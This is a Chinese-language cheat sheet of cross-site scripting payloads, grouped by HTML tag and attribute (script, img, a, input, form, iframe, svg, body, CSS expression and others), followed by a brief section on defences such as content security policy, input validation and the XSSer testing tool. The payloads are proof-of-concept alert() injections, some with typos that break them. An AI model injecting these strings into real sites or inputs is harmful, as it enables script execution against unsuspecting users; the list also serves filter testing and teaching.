常见标签
<scirpt>标签
<scirpt>alert("xss");</script>
<img>标签
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(/xss));'
<img STYLE="background-image:url(javascript:alert('XSS'))">
<img src="x" onerror=alert('xss')>
<img src="1" onerror=eval("alert('xss')")>
<img src=1 onmouseover=alert('xss')>
<a>标签
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">a</a>
<a href="" onclick=alert('xss')>aa</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
<input>标签
<input value="" onclick=alert('xss') type="text">
<input onfocus="alert('xss');">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input onblur=alert("xss") autofocus><input autofocus>
<input onfocus="alert('xss');" autofocus>
<input name="name" value=""><script>alert('xss')</script>
<form>标签
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss)>
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<details>
<details ontoggle="alert('xss');">
<details open ontoggle="alert('xss');">
<svg>
<svg onload=alert("xss");>
<select>
<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>
<iframe>标签
<iframe onload=alert("xss");></iframe>
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
<iframe src="javascript:prompt(`xss`)"></iframe>
<svg>标签
<svg onload=alert(1)>
<video>
<video><source onerror="alert(1)">
<audio>
<audio src=x onerror=alert("xss");>
<body>
<body/onload=alert("xss");>
<body onscroll=alert("xss");><br><br><br><br>
<textarea>
<textarea onfocus=alert("xss"); autofocus>
<keygen>
<keygen autofocus onfocus=alert(1)>
<marquee>
<marquee onstart=alert("xss")></marquee>
<isindex>
<isindex type=image src=1 onerror=alert("xss")>
expression属性
<img style="xss:expression(alert('xss''))">
<div style="color:rgb(''x:expression(alert(1))"></div>
<style>#test{x:expression(alert(/XSS/))}</style>
background属性
<table background=javascript:alert(1)></table>
检测XSS的办法
-
内容安全策略(CSP):内容安全策略是一种安全标准,用于防止XSS、点击劫持攻击和其他类型的弹出式攻击,这些攻击是在网页内容中执行恶意内容的结果。它是W3C工作组关于现代web浏览器支持的web应用程序安全性的建议。
使用这种方法,开发人员必须声明浏览器将上载到其网站的内容的批准来源,例如,JavaScript、CSS、HTML框架、字体、图像、可嵌入对象(如Java、ActiveX、音频和视频文件)和其他HTML5特性
-
输入文本验证:此方法是防御XSS攻击的更常见类型。这种对不可靠的文本条目的处理是通过模块的编程来过滤和分析文本的
-
库或框架:包括微软的反XSS库,这是一个免费开放的集合,收集了开发人员构建一个名为OWASP ESAPI和ApacheWicket的安全web应用程序所需的所有安全方法
-
XSSer:也称为跨站“脚本”,是一个用于检测和利用XSS漏洞的自动Web测试框架工具,它包含几个试图绕过某些过滤器的选项和一些代码注入的特殊技术。它是由OWASP开发的一种开源项目XSS